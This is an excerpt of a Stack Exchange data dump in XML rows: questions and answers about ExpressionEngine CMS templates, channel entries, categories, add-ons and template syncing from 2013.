  <row Id="12345" PostTypeId="2" ParentId="12236" CreationDate="2013-07-30T03:23:17.010" Score="0" Body="&lt;p&gt;After a lot of experimentation I determined that everything inside the script tags inside a set of curly brackets was safe from being converted to entities. (This seems to be true with or without protect_javascript turned on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that information, here was my solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id='my-video'&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;function placeVideo() &#xA;{&#xA;jwplayer('my-video').setup({&#xA;        file: 'url_to_file',&#xA;        image: 'url_to_image',&#xA;        width: '480',&#xA;        height: '360'&#xA;    });&#xA;&#xA;}&#xA;placeVideo();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had to wrap the call to the jwplayer function inside another function so that there would be curly brackets around the quotes. &lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-07-30T03:23:17.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostTypeId="2" ParentId="12330" CreationDate="2013-07-30T03:24:43.483" Score="0" Body="&lt;p&gt;It should be something along the lines of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;property&quot; category_group=&quot;4&quot;}&#xA;&#xA;    {exp:query sql=&quot;SELECT c.cat_name FROM exp_categories c &#xA;        JOIN exp_category_posts cp ON cp.cat_id = c.cat_id &#xA;        JOIN exp_channel_titles ct ON cp.entry_id = ct.entry_id &#xA;        WHERE c.group_id = 4 AND ct.entry_id = {entry_id}&quot;} &#xA;        {cat_name}&#xA;    {/exp:query}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think part your original problem may be that your closing {exp:channel:entries} didn't have the slash so it wasn't parsing the entry_id like it should.&lt;/p&gt;&#xA;" OwnerUserId="392" LastEditorUserId="425" LastEditDate="2013-07-30T09:05:25.507" LastActivityDate="2013-07-30T09:05:25.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12350" PostTypeId="1" CreationDate="2013-07-30T06:34:17.280" Score="0" ViewCount="53" Body="&lt;p&gt;Is it possible to upgrade a normal version of EE1 to EE2 core ? Is there a guide?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="150" LastEditDate="2013-08-07T15:29:11.537" LastActivityDate="2013-08-07T15:29:11.537" Title="Possible to upgrade from EE1 to EE2 Core?" Tags="|ee1|migration|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12352" PostTypeId="2" ParentId="12330" CreationDate="2013-07-30T08:20:02.850" Score="0" Body="&lt;p&gt;Although I think @Ponder The Web has answered your question directly, why are you using SQL in the first place?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;property&quot; category_group=&quot;4&quot;}&#xA;    {categories show_group=&quot;4&quot;} &#xA;        {category_name}&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;Categories Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also regarding your original question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the '[FETCH ENTRY ID]' does not return my entry id (I can put in the&#xA;  ee tag {entry_id}, but than it only returns one entry_id. I think I&#xA;  need it to stay in php without any ee tags at this point.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;[FETCH ENTRY ID] will do nothing, I've no idea where this has come from - it looks like Wordpress syntax...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{entry_id} should be set on each loop though with your PHP code being duplicated for each entry it finds, so {entry_id} should work fine if the other issues (e.g. closing channel:entries tag) are resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated for new information:&lt;/strong&gt; using &lt;a href=&quot;http://devot-ee.com/add-ons/server-variable&quot; rel=&quot;nofollow&quot;&gt;Server Variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;property&quot; category_group=&quot;4&quot;}&#xA;    {categories show_group=&quot;4&quot;}&#xA;        {if &quot;{exp:server_var:get var=&quot;region&quot;}&quot; == {category_id}}&#xA;            {category_name}&#xA;        {/if}&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;property&quot; category_group=&quot;4&quot;}&#xA;    {exp:server_var:get}&#xA;        {categories show_group=&quot;4&quot; show=&quot;{region}&quot;}&#xA;            {category_name}&#xA;        {/categories}&#xA;    {/exp:server_var:get}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both assumes that $_GET[&quot;region&quot;] is the category ID.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-07-30T13:32:32.433" LastActivityDate="2013-07-30T13:32:32.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12353" PostTypeId="1" AcceptedAnswerId="12362" CreationDate="2013-07-30T09:12:34.307" Score="0" ViewCount="117" Body="&lt;p&gt;I have product categories with 3+ levels, sometimes a product is assigned to the second level, sometimes it's assigned to level 3, so a category may have sub categories with products, and products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to display the just products in a category if that category also has child categories with products, EE insists on displaying all the products from the child categories too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;code&gt;{if parent_id != {cat_id}}&lt;/code&gt;  (&lt;code&gt;cat_id&lt;/code&gt; taken from a query using the url to filter), no luck as EE doesn't seem to diffentiate between direct parents and grand-parents or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I filter out the products from the child categories?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-07-30T13:58:19.527" LastActivityDate="2013-07-30T15:12:05.433" Title="How can I display entries from a category but hide entries belonging to it's child categories" Tags="|filter|categories|child|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12354" PostTypeId="1" CreationDate="2013-07-30T09:19:38.007" Score="1" ViewCount="123" Body="&lt;p&gt;I'm using Solspace's &lt;a href=&quot;http://www.solspace.com/docs/facebook_connect/login/&quot; rel=&quot;nofollow&quot;&gt;Facebook Connect addon&lt;/a&gt; to add Facebook login to a site, but I can't work out why my Facebook connect button is not showing while using the following template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbc:login permissions=&quot;email|publish_stream|read_stream&quot;&#xA;    return_when_logged_in=&quot;site/home&quot;&#xA;    return_when_logged_out=&quot;site/home&quot;&#xA;    return_to_register=&quot;site/register&quot;&#xA;    return_on_failure=&quot;site/fail&quot;&#xA;}&#xA;{if fbc_logged_out == &quot;y&quot;}&#xA;    {fbc_login_button}&#xA;{/if}&#xA;{if fbc_logged_in == &quot;y&quot;}&#xA;    &amp;lt;a href=&quot;{path='logout'}&quot; class=&quot;btnConnectSmall&quot; &amp;gt;Your connected&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1834" LastEditorUserId="104" LastEditDate="2013-07-30T10:21:47.223" LastActivityDate="2013-09-27T17:07:03.587" Title="facebook connect button not showing" Tags="|add-on|facebook|solspace-facebookconnect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12356" PostTypeId="1" CreationDate="2013-07-30T12:15:07.147" Score="1" ViewCount="180" Body="&lt;p&gt;I'm using Zoo Visitor which advocates the &lt;strong&gt;Safecracker File&lt;/strong&gt; field type for user uploaded avatars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safecracker File stores the image reference as &lt;code&gt;{filedir_x}filename&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wanting to use EE's image manipulation to &lt;strong&gt;crop and resize&lt;/strong&gt; the uploaded image so I need to be able to output src attributes of the form…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/path/to/images/avatars/uploads/_subfolder/filename&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get hold of the &lt;strong&gt;filename&lt;/strong&gt; in my tag output? Do I have to resort to custom PHP or is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="354" LastActivityDate="2013-09-28T12:50:21.557" Title="How to get filename of uploaded Safecracker File image?" Tags="|file-uploads|zoo-visitor|safecracker-file|uploads|filename|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12357" PostTypeId="1" AcceptedAnswerId="12359" CreationDate="2013-07-30T12:22:32.063" Score="3" ViewCount="70" Body="&lt;p&gt;i have made this code to generate the new entries wich have been posted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;nieuwe_berichten&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;interne_memo&quot; display_by=&quot;week&quot; limit=&quot;1&quot; show_current_week=&quot;yes&quot;}&#xA;    {total_results} nieuwe berichten!&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code generates only: “2 nieuwe berichten” and also 2 times. Does anybody know how to write a good code for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thnx in advance,&#xA;Leon vd Leer&lt;/p&gt;&#xA;" OwnerUserId="1836" LastEditorUserId="69" LastEditDate="2013-08-05T17:47:42.197" LastActivityDate="2013-09-11T09:34:33.737" Title="new channels shown by week" Tags="|ee2|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12358" PostTypeId="2" ParentId="12356" CreationDate="2013-07-30T12:25:27.897" Score="1" Body="&lt;p&gt;Ah, OK…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;SafeCracker File inherits the tags of the standard File field&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;…so I can just use the appropriate &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/custom_fields.html#single-variable-usage&quot; rel=&quot;nofollow&quot;&gt;single variable&lt;/a&gt; parameter such as…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{member_avatar:image_manipulation_short_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Must read more carefully before posting!&lt;/p&gt;&#xA;" OwnerUserId="354" LastActivityDate="2013-07-30T12:25:27.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12359" PostTypeId="2" ParentId="12357" CreationDate="2013-07-30T13:20:21.553" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;interne_memo&quot;&#xA;    display_by=&quot;week&quot;&#xA;    limit=&quot;1&quot;&#xA;    show_current_week=&quot;yes&quot;}&#xA;    {if no_results}0 nieuwe berichten{/if}&#xA;&#xA;    {!-- your display for each entry here --}&#xA;&#xA;    {if {count} == {total_results}}&#xA;        {total_results} nieuwe berichten! &#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Revisiting this question, I can't work out why limit is in the parameters, as this will always force only 1 entry to return. This would surely be better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;interne_memo&quot;&#xA;    display_by=&quot;week&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    show_current_week=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-09-11T09:34:33.737" LastActivityDate="2013-09-11T09:34:33.737" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12362" PostTypeId="2" ParentId="12353" CreationDate="2013-07-30T15:12:05.433" Score="0" Body="&lt;p&gt;If you have this &lt;code&gt;Auto-assign Category Parents&lt;/code&gt; set to 'Yes' in Admin &gt; Channel Administration &gt; Global Preferences, then all entries in child categories will automatically be assigned to the parent categories too. Set to 'no' to disable this behaviour.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-07-30T15:12:05.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12363" PostTypeId="1" CreationDate="2013-07-30T15:55:00.773" Score="2" ViewCount="323" Body="&lt;p&gt;I have a site that contains simple captchas for a contact form and registration form. The captchas have and continue to function fine on all networks except for the internal network of the client who owns the site. I am at a bit of a loss for what could be causing this issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could the issue be with the firewall? I don't see how the firewall would be blocking anything external since I don't think the captchas rely on external resources? I could be wrong about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only clue I have is that the issue began after the site was migrated to another server. Any help with this would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using v2.3.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;       Submit the word below:&amp;lt;br /&amp;gt;&#xA;       {captcha}&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;       &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; /&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2013-09-30T18:50:26.893" Title="CAPTCHA not displaying within an internal network" Tags="|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12364" PostTypeId="2" ParentId="12340" CreationDate="2013-07-30T16:10:48.423" Score="0" Body="&lt;p&gt;It's not possible to order/group by collection in a single Results tag at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could achieve something similar by having multiple Results tag on a page with different collection=&quot;&quot; parameters.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-30T16:10:48.423" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12365" PostTypeId="1" AcceptedAnswerId="12386" CreationDate="2013-07-30T18:27:55.503" Score="2" ViewCount="298" Body="&lt;p&gt;I'm trying to filter a list of products based off of a Playa field. The URL for the template is like this: &lt;code&gt;http://www.mysite.com/products/seller/joes-jetpacks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;joes-jetpacks&lt;/code&gt; is the URL Title of the entry the product is related to. So to display all products that are sold by Joe's Jetpacks, I'm using this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents&#xA;    channel='products'&#xA;    url_title='{segment_3}'&#xA;    limit='7'&#xA;    disable='member_data|category_fields'&#xA;    orderby='title'&#xA;    sort='asc'&#xA;    paginate='both'&#xA;    status='open|Featured'&#xA;}&#xA;    {!-- channel listing content --}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that returns no results. Alternately, if I replace the &lt;code&gt;url_title&lt;/code&gt; parameter with &lt;code&gt;entry_id&lt;/code&gt;, and use the url &lt;code&gt;http://www.mysite.com/products/seller/1234&lt;/code&gt; instead, I get the correct results.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.2&lt;/li&gt;&#xA;&lt;li&gt;Playa 4.4.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-07-31T11:56:41.397" Title="url_title Does Not Return Results in {exp:playa:parents} Tag" Tags="|playa|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12366" PostTypeId="1" CreationDate="2013-07-30T19:03:12.107" Score="1" ViewCount="47" Body="&lt;p&gt;We need to be able to show the total amount of items sold for a specific item.  How would we go about doing this?  So basically the amount that have sold in the past, this is more so for our own reporting reasons.  &lt;/p&gt;&#xA;" OwnerUserId="1691" LastEditorUserId="69" LastEditDate="2013-08-05T17:47:29.527" LastActivityDate="2013-08-05T22:08:00.840" Title="Store - Show Total Amount Sold" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12368" PostTypeId="1" CreationDate="2013-07-30T21:06:19.360" Score="1" ViewCount="255" Body="&lt;p&gt;I've a channel episodes with a single relationship to the channel shows.&#xA;I would like to order my shows by the date of the latest episode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i've got this so far (simplified):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;shows&quot; orderby=&quot;?&quot; sort=&quot;?&quot;}&#xA;   &amp;lt;div class=&quot;show&quot;&amp;gt;&#xA;     &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;     &amp;lt;div class=&quot;date_updated&quot;&amp;gt;&#xA;       {parents field=&quot;epi_show&quot; channel=&quot;episode&quot; limit=&quot;1&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;         {parents:entry_date format=&quot;%d/%m/%y&quot;}&#xA;       {/parents}&#xA;     &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the best way to order these entries by the episode date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should i approach it by a totally other way?&lt;/p&gt;&#xA;" OwnerUserId="1838" LastEditorUserId="1838" LastEditDate="2013-07-30T21:11:42.180" LastActivityDate="2013-07-30T21:11:42.180" Title="relationship order by parent date" Tags="|relationships|orderby|entry-date|parent|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12369" PostTypeId="2" ParentId="12331" CreationDate="2013-07-30T21:23:52.107" Score="1" Body="&lt;p&gt;What other factors are at play here? You you have AJAX/JS validation, .htaccess rewrites, captcha, etc? Would be great to see what the rest of the code in your template, or if you created a new, simplified template with barebones code and see if any difference is made. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also have a look at the Freeform Troubleshooting guide for more information about common conflicts and errors:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/troubleshooting/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/troubleshooting/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-07-30T21:23:52.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12370" PostTypeId="1" AcceptedAnswerId="12371" CreationDate="2013-07-30T21:24:34.633" Score="0" ViewCount="65" Body="&lt;p&gt;I’m working on a blog and would love to make the markup for a single article its own template for embedding elsewhere so I don't have to repeat that markup in multiple places, but I don't know how to do this and still parse all entry tags. The markup for a single article will appear in multiple templates (&lt;code&gt;blog/index&lt;/code&gt;, &lt;code&gt;blog/single&lt;/code&gt;, etc.) and is exactly the same. Currently it appears like this in my &lt;code&gt;blog/index&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot;}&#xA;    {if post_theme}&#xA;        {post_theme}&amp;lt;article class=&quot;theme-{theme}&quot; style=&quot;background-color: {background_color};&quot;&amp;gt;{/post_theme}&#xA;    {if:else}&#xA;        &amp;lt;article&amp;gt;&#xA;    {/if}&#xA;        &amp;lt;div class=&quot;interior&quot;&amp;gt;&#xA;            &amp;lt;header class=&quot;article-header {header_options}col-start-{col_start} col-end-{col_end} overlay-{headline_overlay} headline-size-{headline_size}{/header_options}&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;time&amp;gt;{entry_date format='%j %F %Y'}&amp;lt;/time&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                {categories}&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{path='blog/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                {/categories}&#xA;                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            {blog_cover_image}&#xA;                {if image}&#xA;                    &amp;lt;figure class=&quot;cover-image {image_width}&quot;&amp;gt;&#xA;                        {if '{image_width}' == 'full-width'}&#xA;                            {exp:ce_img:single src=&quot;{image}&quot; add_dims=&quot;yes&quot; width=&quot;750&quot; attributes='alt=&quot;{alt_text}&quot;'}&#xA;                        {if:elseif '{image_width}' == 'text-width'}&#xA;                            {exp:ce_img:single src=&quot;{image}&quot; add_dims=&quot;yes&quot; width=&quot;500&quot; attributes='alt=&quot;{alt_text}&quot;'}&#xA;                        {/if}&#xA;                        {if caption}&#xA;                            &amp;lt;figcaption&amp;gt;&#xA;                                {caption}&#xA;                            &amp;lt;/figcaption&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/figure&amp;gt;&#xA;                {/if}&#xA;            {/blog_cover_image}&#xA;            &amp;lt;aside&amp;gt;&#xA;                &amp;lt;ul class=&quot;article-tags&quot;&amp;gt;&#xA;                    {exp:tag:tags&#xA;                        entry_id=&quot;{entry_id}&quot;&#xA;                        orderby=&quot;tag_name&quot;&#xA;                        sort=&quot;asc&quot;&#xA;                    }&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='blog/tag'}/{websafe_tag}&quot; title=&quot;{tag}&quot; style=&quot;font-size:{step}px;&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/exp:tag:tags}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/aside&amp;gt;&#xA;            &amp;lt;div class=&quot;article-content&quot;&amp;gt;&#xA;                {blog_images}&#xA;                    {exp:mx_jumper:put name=&quot;image_{row_count}&quot;}&#xA;                        &amp;lt;figure class=&quot;{placement} {size}&quot;&amp;gt;&#xA;                            {if '{size}' == 'full-width'}&#xA;                                {exp:ce_img:single src=&quot;{image}&quot; add_dims=&quot;yes&quot; width=&quot;750&quot; attributes='alt=&quot;{alt_text}&quot;'}&#xA;                            {if:elseif '{size}' == 'text-width'}&#xA;                                {exp:ce_img:single src=&quot;{image}&quot; add_dims=&quot;yes&quot; width=&quot;500&quot; attributes='alt=&quot;{alt_text}&quot;'}&#xA;                            {if:else}&#xA;                                {exp:ce_img:single src=&quot;{image}&quot; add_dims=&quot;yes&quot; attributes='alt=&quot;{alt_text}&quot;'}&#xA;                            {/if}&#xA;                            {if caption}&#xA;                                &amp;lt;figcaption&amp;gt;&#xA;                                    {caption}&#xA;                                &amp;lt;/figcaption&amp;gt;&#xA;                            {/if}&#xA;                        &amp;lt;/figure&amp;gt;&#xA;                    {/exp:mx_jumper:put}&#xA;                {/blog_images}&#xA;                {exp:mx_jumper:out_global}&#xA;                    {blog_post_content}&#xA;                {/exp:mx_jumper:out_global}&#xA;                {if external_links}&#xA;                    &amp;lt;div class=&quot;external-links&quot;&amp;gt;&#xA;                        {external_links}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;footer class=&quot;article-footer&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;interior&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;tools&quot;&amp;gt;&#xA;                    &amp;lt;li class=&quot;permalink&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;tweet&quot;&amp;gt;&amp;lt;a target=&quot;_blank&quot; href=&quot;http://twitter.com/home?status={page_url}&quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;pinterest&quot;&amp;gt;&amp;lt;a target=&quot;_blank&quot; href=&quot;http://pinterest.com/pin/create/button/?url={page_url}&quot;&amp;gt;Pinterest&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;facebook&quot;&amp;gt;&amp;lt;a target=&quot;_blank&quot; href=&quot;http://www.facebook.com/share.php?u={page_url}&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I would rather do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot;}&#xA;    {embed=&quot;blog/.article&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need everything between my &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag to be an embed, but I don't know what to pass it so that all entry tags are parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-07-30T22:17:10.227" Title="Embedding article template with many entry tags" Tags="|templates|embeds|dry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostTypeId="2" ParentId="12370" CreationDate="2013-07-30T21:31:27.870" Score="2" Body="&lt;p&gt;Since I couldn't found nothing that looks like a snippet on your code, you can use one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save all the internal code of &lt;code&gt;exp:channel:entries&lt;/code&gt; tags on a snippet called &lt;code&gt;snip_article&lt;/code&gt; and go ahead!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a way to edit snippets as plain text files, give to &lt;a href=&quot;https://github.com/bjornbjorn/snippetssync.ee2_addon/&quot; rel=&quot;nofollow&quot;&gt;SnippetsSync&lt;/a&gt; a try.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-30T22:17:10.227" LastActivityDate="2013-07-30T22:17:10.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12372" PostTypeId="1" CreationDate="2013-07-30T21:53:45.320" Score="4" ViewCount="1780" Body="&lt;p&gt;I have been given an expressionengine site to work on. This is my first time using expressionengine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make some changes to a template file. I have uploaded the file to the webserver. I then go in to desgin &gt; templates &gt; synchronize templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template file that I edited shows a different &quot;File edit date&quot; to the date that I just edited the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the synchronizaton on this file anyway to see if it would work and it didn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I synchronize changes to template files back to the live site/cms?&lt;/p&gt;&#xA;" OwnerUserId="1839" LastEditorUserId="1839" LastEditDate="2013-07-30T22:29:59.847" LastActivityDate="2015-03-03T03:45:50.633" Title="Template file not synchronizing to cms?" Tags="|templates|sync|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12373" PostTypeId="2" ParentId="12372" CreationDate="2013-07-30T23:54:12.553" Score="2" Body="&lt;p&gt;Sometimes people develop templates as files, then when they launch on the production server they sync those to the DB and then turn off saving to file (for performance reasons I believe) - so then it wouldn't pick up the changed template I guess.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-30T23:54:12.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
